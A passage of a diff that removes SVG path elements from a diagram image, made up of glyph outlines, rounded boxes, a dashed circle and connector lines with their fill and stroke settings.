748.95081,288.7931 748.95081,289.07435 C748.95081,289.26185 749.008102,289.428517 749.122685,289.57435 C749.237268,289.720183 749.414352,289.845183 749.653935,289.94935 C749.799768,290.001433 750.216435,290.121225 750.903935,290.308725 C751.893518,290.569142 752.586227,290.787892 752.98206,290.964975 C753.377893,291.131642 753.685185,291.376433 753.903935,291.69935 C754.133102,292.022267 754.247685,292.423308 754.247685,292.902475 C754.247685,293.371225 754.10706,293.813933 753.82581,294.2306 C753.554977,294.63685 753.159143,294.954558 752.63831,295.183725 C752.127893,295.412892 751.549768,295.527475 750.903935,295.527475 C749.820602,295.527475 748.997685,295.303517 748.435185,294.8556 C747.872685,294.407683 747.51331,293.741017 747.35706,292.8556 Z M755.38831,291.183725 C755.38831,289.652475 755.815393,288.517058 756.66956,287.777475 C757.38831,287.162892 758.258102,286.8556 759.278935,286.8556 C760.424768,286.8556 761.35706,287.2306 762.07581,287.9806 C762.804977,288.720183 763.16956,289.751433 763.16956,291.07435 C763.16956,292.13685 763.008102,292.975392 762.685185,293.589975 C762.362268,294.204558 761.893518,294.683725 761.278935,295.027475 C760.674768,295.360808 760.008102,295.527475 759.278935,295.527475 C758.122685,295.527475 757.185185,295.157683 756.466435,294.4181 C755.747685,293.6681 755.38831,292.589975 755.38831,291.183725 Z M756.841435,291.183725 C756.841435,292.246225 757.070602,293.0431 757.528935,293.57435 C757.997685,294.1056 758.581018,294.371225 759.278935,294.371225 C759.976852,294.371225 760.554977,294.1056 761.01331,293.57435 C761.48206,293.0431 761.716435,292.2306 761.716435,291.13685 C761.716435,290.116017 761.48206,289.339975 761.01331,288.808725 C760.554977,288.277475 759.976852,288.01185 759.278935,288.01185 C758.581018,288.01185 757.997685,288.277475 757.528935,288.808725 C757.070602,289.329558 756.841435,290.121225 756.841435,291.183725 Z M770.255498,295.339975 L770.255498,294.121225 C769.609664,295.058725 768.729456,295.527475 767.614873,295.527475 C767.125289,295.527475 766.666956,295.433725 766.239873,295.246225 C765.823206,295.058725 765.510706,294.82435 765.302373,294.5431 C765.094039,294.251433 764.948206,293.902475 764.864873,293.496225 C764.812789,293.214975 764.786748,292.777475 764.786748,292.183725 L764.786748,287.0431 L766.192998,287.0431 L766.192998,291.63685 C766.192998,292.376433 766.219039,292.871225 766.271123,293.121225 C766.364873,293.496225 766.552373,293.787892 766.833623,293.996225 C767.125289,294.204558 767.479456,294.308725 767.896123,294.308725 C768.323206,294.308725 768.719039,294.204558 769.083623,293.996225 C769.458623,293.777475 769.719039,293.4806 769.864873,293.1056 C770.021123,292.7306 770.099248,292.188933 770.099248,291.4806 L770.099248,287.0431 L771.505498,287.0431 L771.505498,295.339975 L770.255498,295.339975 Z M773.70081,295.339975 L773.70081,287.0431 L774.966435,287.0431 L774.966435,288.2931 C775.289352,287.709767 775.586227,287.32435 775.85706,287.13685 C776.127893,286.94935 776.429977,286.8556 776.76331,286.8556 C777.23206,286.8556 777.711227,287.006642 778.20081,287.308725 L777.716435,288.6056 C777.372685,288.407683 777.028935,288.308725 776.685185,288.308725 C776.383102,288.308725 776.10706,288.402475 775.85706,288.589975 C775.617477,288.767058 775.445602,289.022267 775.341435,289.3556 C775.185185,289.8556 775.10706,290.402475 775.10706,290.996225 L775.10706,295.339975 L773.70081,295.339975 Z M784.45081,292.2931 L785.841435,292.4806 C785.685185,293.428517 785.29456,294.173308 784.66956,294.714975 C784.054977,295.256642 783.29456,295.527475 782.38831,295.527475 C781.252893,295.527475 780.336227,295.157683 779.63831,294.4181 C778.95081,293.6681 778.60706,292.600392 778.60706,291.214975 C778.60706,290.319142 778.752893,289.537892 779.04456,288.871225 C779.346643,288.194142 779.799768,287.688933 780.403935,287.3556 C781.018518,287.022267 781.679977,286.8556 782.38831,286.8556 C783.29456,286.8556 784.034143,287.084767 784.60706,287.5431 C785.179977,287.991017 785.54456,288.63685 785.70081,289.4806 L784.341435,289.683725 C784.206018,289.131642 783.971643,288.714975 783.63831,288.433725 C783.315393,288.152475 782.91956,288.01185 782.45081,288.01185 C781.742477,288.01185 781.164352,288.267058 780.716435,288.777475 C780.278935,289.277475 780.060185,290.079558 780.060185,291.183725 C780.060185,292.298308 780.273727,293.110808 780.70081,293.621225 C781.127893,294.121225 781.685185,294.371225 782.372685,294.371225 C782.924768,294.371225 783.383102,294.204558 783.747685,293.871225 C784.122685,293.527475 784.35706,293.001433 784.45081,292.2931 Z M792.716435,292.6681 L794.16956,292.839975 C793.940393,293.694142 793.51331,294.3556 792.88831,294.82435 C792.273727,295.2931 791.487268,295.527475 790.528935,295.527475 C789.310185,295.527475 788.346643,295.152475 787.63831,294.402475 C786.929977,293.652475 786.57581,292.6056 786.57581,291.26185 C786.57581,289.866017 786.935185,288.782683 787.653935,288.01185 C788.372685,287.241017 789.304977,286.8556 790.45081,286.8556 C791.554977,286.8556 792.456018,287.235808 793.153935,287.996225 C793.862268,288.746225 794.216435,289.803517 794.216435,291.1681 C794.216435,291.251433 794.216435,291.376433 794.216435,291.5431 L788.028935,291.5431 C788.081018,292.459767 788.336227,293.162892 788.79456,293.652475 C789.26331,294.131642 789.841435,294.371225 790.528935,294.371225 C791.049768,294.371225 791.492477,294.235808 791.85706,293.964975 C792.221643,293.694142 792.508102,293.26185 792.716435,292.6681 Z M788.10706,290.38685 L792.73206,290.38685 C792.66956,289.688933 792.492477,289.1681 792.20081,288.82435 C791.752893,288.282683 791.174768,288.01185 790.466435,288.01185 C789.820602,288.01185 789.273727,288.2306 788.82581,288.6681 C788.38831,289.095183 788.148727,289.6681 788.10706,290.38685 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M752.8063,304.49622 L752.8063,302.886845 L754.21255,302.886845 L754.21255,304.49622 L752.8063,304.49622 Z M752.8063,314.33997 L752.8063,306.043095 L754.21255,306.043095 L754.21255,314.33997 L752.8063,314.33997 Z M756.360987,314.33997 L756.360987,306.043095 L757.626612,306.043095 L757.626612,307.21497 C758.230779,306.30872 759.110987,305.855595 760.267237,305.855595 C760.767237,305.855595 761.225571,305.944137 761.642237,306.12122 C762.058904,306.298303 762.371404,306.532678 762.579737,306.824345 C762.788071,307.116012 762.933904,307.46497 763.017237,307.87122 C763.069321,308.131637 763.095362,308.584762 763.095362,309.230595 L763.095362,314.33997 L761.689112,314.33997 L761.689112,309.293095 C761.689112,308.720178 761.631821,308.293095 761.517237,308.011845 C761.413071,307.720178 761.220362,307.491012 760.939112,307.324345 C760.668279,307.157678 760.345362,307.074345 759.970362,307.074345 C759.366196,307.074345 758.845362,307.267053 758.407862,307.65247 C757.980779,308.02747 757.767237,308.74622 757.767237,309.80872 L757.767237,314.33997 L756.360987,314.33997 Z M770.634425,314.33997 L770.634425,313.293095 C770.113592,314.116012 769.342758,314.52747 768.321925,314.52747 C767.655258,314.52747 767.045883,314.345178 766.4938,313.980595 C765.941717,313.616012 765.509425,313.105595 765.196925,312.449345 C764.894842,311.793095 764.7438,311.043095 764.7438,310.199345 C764.7438,309.366012 764.879217,308.616012 765.15005,307.949345 C765.4313,307.272262 765.847967,306.756637 766.40005,306.40247 C766.952133,306.037887 767.571925,305.855595 768.259425,305.855595 C768.759425,305.855595 769.202133,305.959762 769.58755,306.168095 C769.983383,306.376428 770.301092,306.65247 770.540675,306.99622 L770.540675,302.886845 L771.946925,302.886845 L771.946925,314.33997 L770.634425,314.33997 Z M766.196925,310.199345 C766.196925,311.261845 766.420883,312.05872 766.8688,312.58997 C767.316717,313.110803 767.842758,313.37122 768.446925,313.37122 C769.061508,313.37122 769.582342,313.12122 770.009425,312.62122 C770.446925,312.110803 770.665675,311.33997 770.665675,310.30872 C770.665675,309.173303 770.446925,308.33997 770.009425,307.80872 C769.571925,307.27747 769.030258,307.011845 768.384425,307.011845 C767.759425,307.011845 767.238592,307.267053 766.821925,307.77747 C766.405258,308.287887 766.196925,309.095178 766.196925,310.199345 Z M779.829737,311.668095 L781.282862,311.83997 C781.053696,312.694137 780.626612,313.355595 780.001612,313.824345 C779.387029,314.293095 778.600571,314.52747 777.642237,314.52747 C776.423487,314.52747 775.459946,314.15247 774.751612,313.40247 C774.043279,312.65247 773.689112,311.605595 773.689112,310.261845 C773.689112,308.866012 774.048487,307.782678 774.767237,307.011845 C775.485987,306.241012 776.418279,305.855595 777.564112,305.855595 C778.668279,305.855595 779.569321,306.235803 780.267237,306.99622 C780.975571,307.74622 781.329737,308.803512 781.329737,310.168095 C781.329737,310.251428 781.329737,310.376428 781.329737,310.543095 L775.142237,310.543095 C775.194321,311.459762 775.449529,312.162887 775.907862,312.65247 C776.376612,313.131637 776.954737,313.37122 777.642237,313.37122 C778.163071,313.37122 778.605779,313.235803 778.970362,312.96497 C779.334946,312.694137 779.621404,312.261845 779.829737,311.668095 Z M775.220362,309.386845 L779.845362,309.386845 C779.782862,308.688928 779.605779,308.168095 779.314112,307.824345 C778.866196,307.282678 778.288071,307.011845 777.579737,307.011845 C776.933904,307.011845 776.387029,307.230595 775.939112,307.668095 C775.501612,308.095178 775.262029,308.668095 775.220362,309.386845 Z M782.1188,314.33997 L785.15005,310.02747 L782.33755,306.043095 L784.103175,306.043095 L785.3688,307.980595 C785.608383,308.355595 785.801092,308.668095 785.946925,308.918095 C786.176092,308.574345 786.389633,308.267053 786.58755,307.99622 L787.978175,306.043095 L789.665675,306.043095 L786.790675,309.949345 L789.884425,314.33997 L788.15005,314.33997 L786.446925,311.761845 L785.9938,311.05872 L783.821925,314.33997 L782.1188,314.33997 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M450.0971,241.7796 L450.0971,241.7796 C450.0971,236.987242 453.982079,233.102262 458.774438,233.102262 L527.309503,233.102262 C529.610895,233.102262 531.818048,234.016477 533.445306,235.643796 C535.072625,237.271116 535.986871,239.478223 535.986871,241.779599 L535.986871,276.487912 C535.986871,281.280271 532.101922,285.16525 527.309503,285.16525 L458.774438,285.16525 C453.98208,285.16525 450.0971,281.280271 450.0971,276.487912 L450.0971,241.7796 Z" id="Path" fill="#FA734F"></path>
-                <path d="M477.9873,252.82188 L479.440425,252.993755 C479.211258,253.847922 478.784175,254.50938 478.159175,254.97813 C477.544592,255.44688 476.758133,255.681255 475.7998,255.681255 C474.58105,255.681255 473.617508,255.306255 472.909175,254.556255 C472.200842,253.806255 471.846675,252.75938 471.846675,251.41563 C471.846675,250.019797 472.20605,248.936463 472.9248,248.16563 C473.64355,247.394797 474.575842,247.00938 475.721675,247.00938 C476.825842,247.00938 477.726883,247.389588 478.4248,248.150005 C479.133133,248.900005 479.4873,249.957297 479.4873,251.32188 C479.4873,251.405213 479.4873,251.530213 479.4873,251.69688 L473.2998,251.69688 C473.351883,252.613547 473.607092,253.316672 474.065425,253.806255 C474.534175,254.285422 475.1123,254.525005 475.7998,254.525005 C476.320633,254.525005 476.763342,254.389588 477.127925,254.118755 C477.492508,253.847922 477.778967,253.41563 477.9873,252.82188 Z M473.377925,250.54063 L478.002925,250.54063 C477.940425,249.842713 477.763342,249.32188 477.471675,248.97813 C477.023758,248.436463 476.445633,248.16563 475.7373,248.16563 C475.091467,248.16563 474.544592,248.38438 474.096675,248.82188 C473.659175,249.248963 473.419592,249.82188 473.377925,250.54063 Z M481.213863,255.493755 L481.213863,247.19688 L482.479488,247.19688 L482.479488,248.368755 C483.083654,247.462505 483.963863,247.00938 485.120113,247.00938 C485.620113,247.00938 486.078446,247.097922 486.495113,247.275005 C486.911779,247.452088 487.224279,247.686463 487.432613,247.97813 C487.640946,248.269797 487.786779,248.618755 487.870113,249.025005 C487.922196,249.285422 487.948238,249.738547 487.948238,250.38438 L487.948238,255.493755 L486.541988,255.493755 L486.541988,250.44688 C486.541988,249.873963 486.484696,249.44688 486.370113,249.16563 C486.265946,248.873963 486.073238,248.644797 485.791988,248.47813 C485.521154,248.311463 485.198238,248.22813 484.823238,248.22813 C484.219071,248.22813 483.698238,248.420838 483.260738,248.806255 C482.833654,249.181255 482.620113,249.900005 482.620113,250.962505 L482.620113,255.493755 L481.213863,255.493755 Z M490.096675,255.493755 L490.096675,247.19688 L491.3623,247.19688 L491.3623,248.44688 C491.685217,247.863547 491.982092,247.47813 492.252925,247.29063 C492.523758,247.10313 492.825842,247.00938 493.159175,247.00938 C493.627925,247.00938 494.107092,247.160422 494.596675,247.462505 L494.1123,248.75938 C493.76855,248.561463 493.4248,248.462505 493.08105,248.462505 C492.778967,248.462505 492.502925,248.556255 492.252925,248.743755 C492.013342,248.920838 491.841467,249.176047 491.7373,249.50938 C491.58105,250.00938 491.502925,250.556255 491.502925,251.150005 L491.502925,255.493755 L490.096675,255.493755 Z M495.440425,245.650005 L495.440425,244.04063 L496.846675,244.04063 L496.846675,245.650005 L495.440425,245.650005 Z M495.440425,255.493755 L495.440425,247.19688 L496.846675,247.19688 L496.846675,255.493755 L495.440425,255.493755 Z M504.401363,252.44688 L505.791988,252.63438 C505.635738,253.582297 505.245113,254.327088 504.620113,254.868755 C504.005529,255.410422 503.245113,255.681255 502.338863,255.681255 C501.203446,255.681255 500.286779,255.311463 499.588863,254.57188 C498.901363,253.82188 498.557613,252.754172 498.557613,251.368755 C498.557613,250.472922 498.703446,249.691672 498.995113,249.025005 C499.297196,248.347922 499.750321,247.842713 500.354488,247.50938 C500.969071,247.176047 501.630529,247.00938 502.338863,247.00938 C503.245113,247.00938 503.984696,247.238547 504.557613,247.69688 C505.130529,248.144797 505.495113,248.79063 505.651363,249.63438 L504.291988,249.837505 C504.156571,249.285422 503.922196,248.868755 503.588863,248.587505 C503.265946,248.306255 502.870113,248.16563 502.401363,248.16563 C501.693029,248.16563 501.114904,248.420838 500.666988,248.931255 C500.229488,249.431255 500.010738,250.233338 500.010738,251.337505 C500.010738,252.452088 500.224279,253.264588 500.651363,253.775005 C501.078446,254.275005 501.635738,254.525005 502.323238,254.525005 C502.875321,254.525005 503.333654,254.358338 503.698238,254.025005 C504.073238,253.681255 504.307613,253.155213 504.401363,252.44688 Z M506.995113,255.493755 L506.995113,244.04063 L508.401363,244.04063 L508.401363,248.150005 C509.057613,247.389588 509.885738,247.00938 510.885738,247.00938 C511.500321,247.00938 512.031571,247.129172 512.479488,247.368755 C512.937821,247.608338 513.260738,247.941672 513.448238,248.368755 C513.646154,248.795838 513.745113,249.41563 513.745113,250.22813 L513.745113,255.493755 L512.338863,255.493755 L512.338863,250.22813 C512.338863,249.530213 512.187821,249.019797 511.885738,248.69688 C511.583654,248.373963 511.151363,248.212505 510.588863,248.212505 C510.172196,248.212505 509.781571,248.32188 509.416988,248.54063 C509.052404,248.75938 508.791988,249.056255 508.635738,249.431255 C508.479488,249.795838 508.401363,250.301047 508.401363,250.94688 L508.401363,255.493755 L506.995113,255.493755 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M474.9795,264.65002 L474.9795,263.040645 L476.38575,263.040645 L476.38575,264.65002 L474.9795,264.65002 Z M474.9795,274.49377 L474.9795,266.196895 L476.38575,266.196895 L476.38575,274.49377 L474.9795,274.49377 Z M478.534187,274.49377 L478.534187,266.196895 L479.799812,266.196895 L479.799812,267.36877 C480.403979,266.46252 481.284187,266.009395 482.440437,266.009395 C482.940437,266.009395 483.398771,266.097937 483.815437,266.27502 C484.232104,266.452103 484.544604,266.686478 484.752937,266.978145 C484.961271,267.269812 485.107104,267.61877 485.190437,268.02502 C485.242521,268.285437 485.268562,268.738562 485.268562,269.384395 L485.268562,274.49377 L483.862312,274.49377 L483.862312,269.446895 C483.862312,268.873978 483.805021,268.446895 483.690437,268.165645 C483.586271,267.873978 483.393562,267.644812 483.112312,267.478145 C482.841479,267.311478 482.518562,267.228145 482.143562,267.228145 C481.539396,267.228145 481.018562,267.420853 480.581062,267.80627 C480.153979,268.18127 479.940437,268.90002 479.940437,269.96252 L479.940437,274.49377 L478.534187,274.49377 Z M492.807625,274.49377 L492.807625,273.446895 C492.286792,274.269812 491.515958,274.68127 490.495125,274.68127 C489.828458,274.68127 489.219083,274.498978 488.667,274.134395 C488.114917,273.769812 487.682625,273.259395 487.370125,272.603145 C487.068042,271.946895 486.917,271.196895 486.917,270.353145 C486.917,269.519812 487.052417,268.769812 487.32325,268.103145 C487.6045,267.426062 488.021167,266.910437 488.57325,266.55627 C489.125333,266.191687 489.745125,266.009395 490.432625,266.009395 C490.932625,266.009395 491.375333,266.113562 491.76075,266.321895 C492.156583,266.530228 492.474292,266.80627 492.713875,267.15002 L492.713875,263.040645 L494.120125,263.040645 L494.120125,274.49377 L492.807625,274.49377 Z M488.370125,270.353145 C488.370125,271.415645 488.594083,272.21252 489.042,272.74377 C489.489917,273.264603 490.015958,273.52502 490.620125,273.52502 C491.234708,273.52502 491.755542,273.27502 492.182625,272.77502 C492.620125,272.264603 492.838875,271.49377 492.838875,270.46252 C492.838875,269.327103 492.620125,268.49377 492.182625,267.96252 C491.745125,267.43127 491.203458,267.165645 490.557625,267.165645 C489.932625,267.165645 489.411792,267.420853 488.995125,267.93127 C488.578458,268.441687 488.370125,269.248978 488.370125,270.353145 Z M502.002937,271.821895 L503.456062,271.99377 C503.226896,272.847937 502.799812,273.509395 502.174812,273.978145 C501.560229,274.446895 500.773771,274.68127 499.815437,274.68127 C498.596687,274.68127 497.633146,274.30627 496.924812,273.55627 C496.216479,272.80627 495.862312,271.759395 495.862312,270.415645 C495.862312,269.019812 496.221687,267.936478 496.940437,267.165645 C497.659187,266.394812 498.591479,266.009395 499.737312,266.009395 C500.841479,266.009395 501.742521,266.389603 502.440437,267.15002 C503.148771,267.90002 503.502937,268.957312 503.502937,270.321895 C503.502937,270.405228 503.502937,270.530228 503.502937,270.696895 L497.315437,270.696895 C497.367521,271.613562 497.622729,272.316687 498.081062,272.80627 C498.549812,273.285437 499.127937,273.52502 499.815437,273.52502 C500.336271,273.52502 500.778979,273.389603 501.143562,273.11877 C501.508146,272.847937 501.794604,272.415645 502.002937,271.821895 Z M497.393562,269.540645 L502.018562,269.540645 C501.956062,268.842728 501.778979,268.321895 501.487312,267.978145 C501.039396,267.436478 500.461271,267.165645 499.752937,267.165645 C499.107104,267.165645 498.560229,267.384395 498.112312,267.821895 C497.674812,268.248978 497.435229,268.821895 497.393562,269.540645 Z M504.292,274.49377 L507.32325,270.18127 L504.51075,266.196895 L506.276375,266.196895 L507.542,268.134395 C507.781583,268.509395 507.974292,268.821895 508.120125,269.071895 C508.349292,268.728145 508.562833,268.420853 508.76075,268.15002 L510.151375,266.196895 L511.838875,266.196895 L508.963875,270.103145 L512.057625,274.49377 L510.32325,274.49377 L508.620125,271.915645 L508.167,271.21252 L505.995125,274.49377 L504.292,274.49377 L504.292,274.49377 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M589.6299,259.23456 L589.6299,259.23456 C589.6299,233.62073 610.873491,212.856615 637.078753,212.856615 L637.078753,212.856615 C649.662921,212.856615 661.731768,217.742845 670.630143,226.440401 C679.528519,235.137957 684.527543,246.934374 684.527543,259.234561 L684.527543,259.234561 C684.527543,284.848422 663.284013,305.612521 637.078753,305.612521 L637.078753,305.612521 C610.873492,305.612521 589.6299,284.848421 589.6299,259.234561 L589.6299,259.23456 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M589.6299,259.23456 L589.6299,259.23456 C589.6299,233.62073 610.873491,212.856615 637.078753,212.856615 L637.078753,212.856615 C649.662921,212.856615 661.731768,217.742845 670.630143,226.440401 C679.528519,235.137957 684.527543,246.934374 684.527543,259.234561 L684.527543,259.234561 C684.527543,284.848422 663.284013,305.612521 637.078753,305.612521 L637.078753,305.612521 C610.873492,305.612521 589.6299,284.848421 589.6299,259.234561 L589.6299,259.23456 Z" id="Path" stroke="#434753" stroke-width="2" stroke-linejoin="round" stroke-dasharray="16,6"></path>
-                <path d="M622.02405,252.9227 L623.477175,253.094575 C623.248008,253.948742 622.820925,254.6102 622.195925,255.07895 C621.581342,255.5477 620.794883,255.782075 619.83655,255.782075 C618.6178,255.782075 617.654258,255.407075 616.945925,254.657075 C616.237592,253.907075 615.883425,252.8602 615.883425,251.51645 C615.883425,250.120617 616.2428,249.037283 616.96155,248.26645 C617.6803,247.495617 618.612592,247.1102 619.758425,247.1102 C620.862592,247.1102 621.763633,247.490408 622.46155,248.250825 C623.169883,249.000825 623.52405,250.058117 623.52405,251.4227 C623.52405,251.506033 623.52405,251.631033 623.52405,251.7977 L617.33655,251.7977 C617.388633,252.714367 617.643842,253.417492 618.102175,253.907075 C618.570925,254.386242 619.14905,254.625825 619.83655,254.625825 C620.357383,254.625825 620.800092,254.490408 621.164675,254.219575 C621.529258,253.948742 621.815717,253.51645 622.02405,252.9227 Z M617.414675,250.64145 L622.039675,250.64145 C621.977175,249.943533 621.800092,249.4227 621.508425,249.07895 C621.060508,248.537283 620.482383,248.26645 619.77405,248.26645 C619.128217,248.26645 618.581342,248.4852 618.133425,248.9227 C617.695925,249.349783 617.456342,249.9227 617.414675,250.64145 Z M625.250612,255.594575 L625.250612,247.2977 L626.516237,247.2977 L626.516237,248.469575 C627.120404,247.563325 628.000612,247.1102 629.156862,247.1102 C629.656862,247.1102 630.115196,247.198742 630.531862,247.375825 C630.948529,247.552908 631.261029,247.787283 631.469362,248.07895 C631.677696,248.370617 631.823529,248.719575 631.906862,249.125825 C631.958946,249.386242 631.984987,249.839367 631.984987,250.4852 L631.984987,255.594575 L630.578737,255.594575 L630.578737,250.5477 C630.578737,249.974783 630.521446,249.5477 630.406862,249.26645 C630.302696,248.974783 630.109987,248.745617 629.828737,248.57895 C629.557904,248.412283 629.234987,248.32895 628.859987,248.32895 C628.255821,248.32895 627.734987,248.521658 627.297487,248.907075 C626.870404,249.282075 626.656862,250.000825 626.656862,251.063325 L626.656862,255.594575 L625.250612,255.594575 Z M634.133425,255.594575 L634.133425,247.2977 L635.39905,247.2977 L635.39905,248.5477 C635.721967,247.964367 636.018842,247.57895 636.289675,247.39145 C636.560508,247.20395 636.862592,247.1102 637.195925,247.1102 C637.664675,247.1102 638.143842,247.261242 638.633425,247.563325 L638.14905,248.8602 C637.8053,248.662283 637.46155,248.563325 637.1178,248.563325 C636.815717,248.563325 636.539675,248.657075 636.289675,248.844575 C636.050092,249.021658 635.878217,249.276867 635.77405,249.6102 C635.6178,250.1102 635.539675,250.657075 635.539675,251.250825 L635.539675,255.594575 L634.133425,255.594575 Z M639.477175,245.750825 L639.477175,244.14145 L640.883425,244.14145 L640.883425,245.750825 L639.477175,245.750825 Z M639.477175,255.594575 L639.477175,247.2977 L640.883425,247.2977 L640.883425,255.594575 L639.477175,255.594575 Z M648.438112,252.5477 L649.828737,252.7352 C649.672487,253.683117 649.281862,254.427908 648.656862,254.969575 C648.042279,255.511242 647.281862,255.782075 646.375612,255.782075 C645.240196,255.782075 644.323529,255.412283 643.625612,254.6727 C642.938112,253.9227 642.594362,252.854992 642.594362,251.469575 C642.594362,250.573742 642.740196,249.792492 643.031862,249.125825 C643.333946,248.448742 643.787071,247.943533 644.391237,247.6102 C645.005821,247.276867 645.667279,247.1102 646.375612,247.1102 C647.281862,247.1102 648.021446,247.339367 648.594362,247.7977 C649.167279,248.245617 649.531862,248.89145 649.688112,249.7352 L648.328737,249.938325 C648.193321,249.386242 647.958946,248.969575 647.625612,248.688325 C647.302696,248.407075 646.906862,248.26645 646.438112,248.26645 C645.729779,248.26645 645.151654,248.521658 644.703737,249.032075 C644.266237,249.532075 644.047487,250.334158 644.047487,251.438325 C644.047487,252.552908 644.261029,253.365408 644.688112,253.875825 C645.115196,254.375825 645.672487,254.625825 646.359987,254.625825 C646.912071,254.625825 647.370404,254.459158 647.734987,254.125825 C648.109987,253.782075 648.344362,253.256033 648.438112,252.5477 Z M651.031862,255.594575 L651.031862,244.14145 L652.438112,244.14145 L652.438112,248.250825 C653.094362,247.490408 653.922487,247.1102 654.922487,247.1102 C655.537071,247.1102 656.068321,247.229992 656.516237,247.469575 C656.974571,247.709158 657.297487,248.042492 657.484987,248.469575 C657.682904,248.896658 657.781862,249.51645 657.781862,250.32895 L657.781862,255.594575 L656.375612,255.594575 L656.375612,250.32895 C656.375612,249.631033 656.224571,249.120617 655.922487,248.7977 C655.620404,248.474783 655.188112,248.313325 654.625612,248.313325 C654.208946,248.313325 653.818321,248.4227 653.453737,248.64145 C653.089154,248.8602 652.828737,249.157075 652.672487,249.532075 C652.516237,249.896658 652.438112,250.401867 652.438112,251.0477 L652.438112,255.594575 L651.031862,255.594575 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M617.6881,277.78207 L617.6881,266.297695 L618.96935,266.297695 L618.96935,267.37582 C619.271433,266.948737 619.609975,266.631028 619.984975,266.422695 C620.370392,266.214362 620.833933,266.110195 621.3756,266.110195 C622.083933,266.110195 622.708933,266.292487 623.2506,266.65707 C623.792267,267.021653 624.198517,267.537278 624.46935,268.203945 C624.7506,268.860195 624.891225,269.584153 624.891225,270.37582 C624.891225,271.229987 624.734975,271.995612 624.422475,272.672695 C624.120392,273.349778 623.677683,273.870612 623.09435,274.235195 C622.521433,274.599778 621.912058,274.78207 621.266225,274.78207 C620.797475,274.78207 620.3756,274.683112 620.0006,274.485195 C619.636017,274.287278 619.333933,274.037278 619.09435,273.735195 L619.09435,277.78207 L617.6881,277.78207 Z M618.953725,270.485195 C618.953725,271.558112 619.167267,272.349778 619.59435,272.860195 C620.03185,273.370612 620.557892,273.62582 621.172475,273.62582 C621.797475,273.62582 622.333933,273.360195 622.78185,272.828945 C623.229767,272.297695 623.453725,271.479987 623.453725,270.37582 C623.453725,269.31332 623.234975,268.521653 622.797475,268.00082 C622.359975,267.46957 621.839142,267.203945 621.234975,267.203945 C620.641225,267.203945 620.109975,267.485195 619.641225,268.047695 C619.182892,268.610195 618.953725,269.422695 618.953725,270.485195 Z M626.055287,270.43832 C626.055287,268.90707 626.482371,267.771653 627.336537,267.03207 C628.055287,266.417487 628.925079,266.110195 629.945912,266.110195 C631.091746,266.110195 632.024037,266.485195 632.742787,267.235195 C633.471954,267.974778 633.836537,269.006028 633.836537,270.328945 C633.836537,271.391445 633.675079,272.229987 633.352162,272.84457 C633.029246,273.459153 632.560496,273.93832 631.945912,274.28207 C631.341746,274.615403 630.675079,274.78207 629.945912,274.78207 C628.789662,274.78207 627.852162,274.412278 627.133412,273.672695 C626.414662,272.922695 626.055287,271.84457 626.055287,270.43832 Z M627.508412,270.43832 C627.508412,271.50082 627.737579,272.297695 628.195912,272.828945 C628.664662,273.360195 629.247996,273.62582 629.945912,273.62582 C630.643829,273.62582 631.221954,273.360195 631.680287,272.828945 C632.149037,272.297695 632.383412,271.485195 632.383412,270.391445 C632.383412,269.370612 632.149037,268.59457 631.680287,268.06332 C631.221954,267.53207 630.643829,267.266445 629.945912,267.266445 C629.247996,267.266445 628.664662,267.53207 628.195912,268.06332 C627.737579,268.584153 627.508412,269.37582 627.508412,270.43832 Z M635.453725,274.59457 L635.453725,263.141445 L636.859975,263.141445 L636.859975,274.59457 L635.453725,274.59457 Z M639.039662,264.75082 L639.039662,263.141445 L640.445912,263.141445 L640.445912,264.75082 L639.039662,264.75082 Z M639.039662,274.59457 L639.039662,266.297695 L640.445912,266.297695 L640.445912,274.59457 L639.039662,274.59457 Z M648.0006,271.547695 L649.391225,271.735195 C649.234975,272.683112 648.84435,273.427903 648.21935,273.96957 C647.604767,274.511237 646.84435,274.78207 645.9381,274.78207 C644.802683,274.78207 643.886017,274.412278 643.1881,273.672695 C642.5006,272.922695 642.15685,271.854987 642.15685,270.46957 C642.15685,269.573737 642.302683,268.792487 642.59435,268.12582 C642.896433,267.448737 643.349558,266.943528 643.953725,266.610195 C644.568308,266.276862 645.229767,266.110195 645.9381,266.110195 C646.84435,266.110195 647.583933,266.339362 648.15685,266.797695 C648.729767,267.245612 649.09435,267.891445 649.2506,268.735195 L647.891225,268.93832 C647.755808,268.386237 647.521433,267.96957 647.1881,267.68832 C646.865183,267.40707 646.46935,267.266445 646.0006,267.266445 C645.292267,267.266445 644.714142,267.521653 644.266225,268.03207 C643.828725,268.53207 643.609975,269.334153 643.609975,270.43832 C643.609975,271.552903 643.823517,272.365403 644.2506,272.87582 C644.677683,273.37582 645.234975,273.62582 645.922475,273.62582 C646.474558,273.62582 646.932892,273.459153 647.297475,273.12582 C647.672475,272.78207 647.90685,272.256028 648.0006,271.547695 Z M650.53185,277.797695 L650.3756,276.46957 C650.677683,276.552903 650.943308,276.59457 651.172475,276.59457 C651.484975,276.59457 651.734975,276.542487 651.922475,276.43832 C652.109975,276.334153 652.266225,276.18832 652.391225,276.00082 C652.474558,275.865403 652.615183,275.516445 652.8131,274.953945 C652.84435,274.881028 652.886017,274.766445 652.9381,274.610195 L649.797475,266.297695 L651.3131,266.297695 L653.03185,271.09457 C653.261017,271.709153 653.464142,272.349778 653.641225,273.016445 C653.797475,272.370612 653.990183,271.740403 654.21935,271.12582 L655.984975,266.297695 L657.391225,266.297695 L654.234975,274.735195 C653.901642,275.651862 653.641225,276.28207 653.453725,276.62582 C653.203725,277.084153 652.917267,277.422695 652.59435,277.641445 C652.271433,277.860195 651.886017,277.96957 651.4381,277.96957 C651.167267,277.96957 650.865183,277.912278 650.53185,277.797695 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M670.6301,226.4404 L727.92142,205.558518" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M670.6301,226.4404 L727.92142,205.558518" id="Path" stroke="#595959" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M670.6301,292.02875 L727.92142,298.989352" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M670.6301,292.02875 L727.92142,298.989352" id="Path" stroke="#595959" stroke-width="2" stroke-linejoin="round"></path>
